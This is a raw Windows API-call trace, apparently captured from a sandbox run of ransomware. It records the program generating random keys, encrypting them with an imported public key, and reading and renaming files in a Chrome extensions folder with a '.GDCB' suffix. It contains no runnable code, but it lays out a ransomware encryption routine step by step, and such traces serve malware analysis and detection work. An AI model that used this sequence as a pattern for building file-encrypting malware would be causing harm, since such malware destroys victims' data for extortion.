1 [0242.159] CryptGetKeyParam (in: hKey=0x66af5f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0242.159] CryptEncrypt (in: hKey=0x66af5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xb0c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0242.159] GetLastError () returned 0x0 [0242.159] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.159] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0242.161] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b02f8) returned 1 [0242.161] CryptGetKeyParam (in: hKey=0x66b02f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0242.161] CryptEncrypt (in: hKey=0x66b02f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xb0d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0242.161] GetLastError () returned 0x0 [0242.161] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.161] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.176] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0242.179] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.181] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.181] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0242.181] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.182] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0242.188] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.191] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.193] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0242.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.193] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0242.195] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66af4b8) returned 1 [0242.195] CryptGetKeyParam (in: hKey=0x66af4b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0242.195] CryptEncrypt (in: hKey=0x66af4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xb0e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0242.196] GetLastError () returned 0x0 [0242.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.196] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0242.197] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b0178) returned 1 [0242.197] CryptGetKeyParam (in: hKey=0x66b0178, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0242.197] CryptEncrypt (in: hKey=0x66b0178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xb0f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0242.198] GetLastError () returned 0x0 [0242.198] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.198] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0242.199] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xb100000 [0242.202] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xb110000 [0242.205] ReadFile (in: hFile=0x424, lpBuffer=0xb110000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xb110000*, lpNumberOfBytesRead=0x285d160*=0x180f, lpOverlapped=0x0) returned 1 [0242.443] VirtualAlloc (lpAddress=0x0, dwSize=0x1810, flAllocationType=0x3000, flProtect=0x4) returned 0xb220000 [0242.448] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.gdcb")) returned 1 [0242.452] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0242.467] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.469] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.470] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0242.470] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.470] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0242.472] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.474] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.474] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0242.474] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.474] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0242.476] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b0338) returned 1 [0242.476] CryptGetKeyParam (in: hKey=0x66b0338, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0242.476] CryptEncrypt (in: hKey=0x66b0338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xb0e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0242.477] GetLastError () returned 0x0 [0242.477] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.477] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0242.479] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b03b8) returned 1 [0242.479] CryptGetKeyParam (in: hKey=0x66b03b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0242.479] CryptEncrypt (in: hKey=0x66b03b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xb0f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0242.479] GetLastError () returned 0x0 [0242.479] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.479] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0242.481] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xb100000 [0242.484] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xb110000 [0242.486] ReadFile (in: hFile=0x424, lpBuffer=0xb110000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xb110000*, lpNumberOfBytesRead=0x285d160*=0x310, lpOverlapped=0x0) returned 1 [0242.534] VirtualAlloc (lpAddress=0x0, dwSize=0x310, flAllocationType=0x3000, flProtect=0x4) returned 0xb220000 [0242.543] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.gdcb")) returned 1 [0242.548] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.552] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.555] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.555] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.555] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.559] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.559] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.559] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.559] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.561] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b02b8) returned 1 [0242.561] CryptGetKeyParam (in: hKey=0x66b02b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.561] CryptEncrypt (in: hKey=0x66b02b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb0e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.561] GetLastError () returned 0x0 [0242.561] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.561] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.566] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0378) returned 1 [0242.567] CryptGetKeyParam (in: hKey=0x66b0378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.567] CryptEncrypt (in: hKey=0x66b0378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb0f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.567] GetLastError () returned 0x0 [0242.567] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.567] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.567] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.572] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.572] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.572] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.572] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.574] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.576] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.584] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.584] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.584] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.586] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0f38) returned 1 [0242.586] CryptGetKeyParam (in: hKey=0x66b0f38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.586] CryptEncrypt (in: hKey=0x66b0f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb100000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb100000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.587] GetLastError () returned 0x0 [0242.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.587] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.588] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0e78) returned 1 [0242.588] CryptGetKeyParam (in: hKey=0x66b0e78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.588] CryptEncrypt (in: hKey=0x66b0e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb110000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb110000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.589] GetLastError () returned 0x0 [0242.589] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.589] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.590] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0242.593] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.595] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.595] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.595] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.595] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.600] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.600] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.600] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.600] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.602] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0b78) returned 1 [0242.602] CryptGetKeyParam (in: hKey=0x66b0b78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.602] CryptEncrypt (in: hKey=0x66b0b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb120000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb120000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.603] GetLastError () returned 0x0 [0242.603] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.603] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.604] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0df8) returned 1 [0242.604] CryptGetKeyParam (in: hKey=0x66b0df8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.604] CryptEncrypt (in: hKey=0x66b0df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb130000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb130000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.605] GetLastError () returned 0x0 [0242.605] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.605] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.606] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.609] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.611] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.611] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.611] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.611] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.615] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.616] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.616] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.616] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.618] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0bb8) returned 1 [0242.618] CryptGetKeyParam (in: hKey=0x66b0bb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.618] CryptEncrypt (in: hKey=0x66b0bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb140000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb140000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.618] GetLastError () returned 0x0 [0242.618] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.618] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.621] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0ef8) returned 1 [0242.621] CryptGetKeyParam (in: hKey=0x66b0ef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 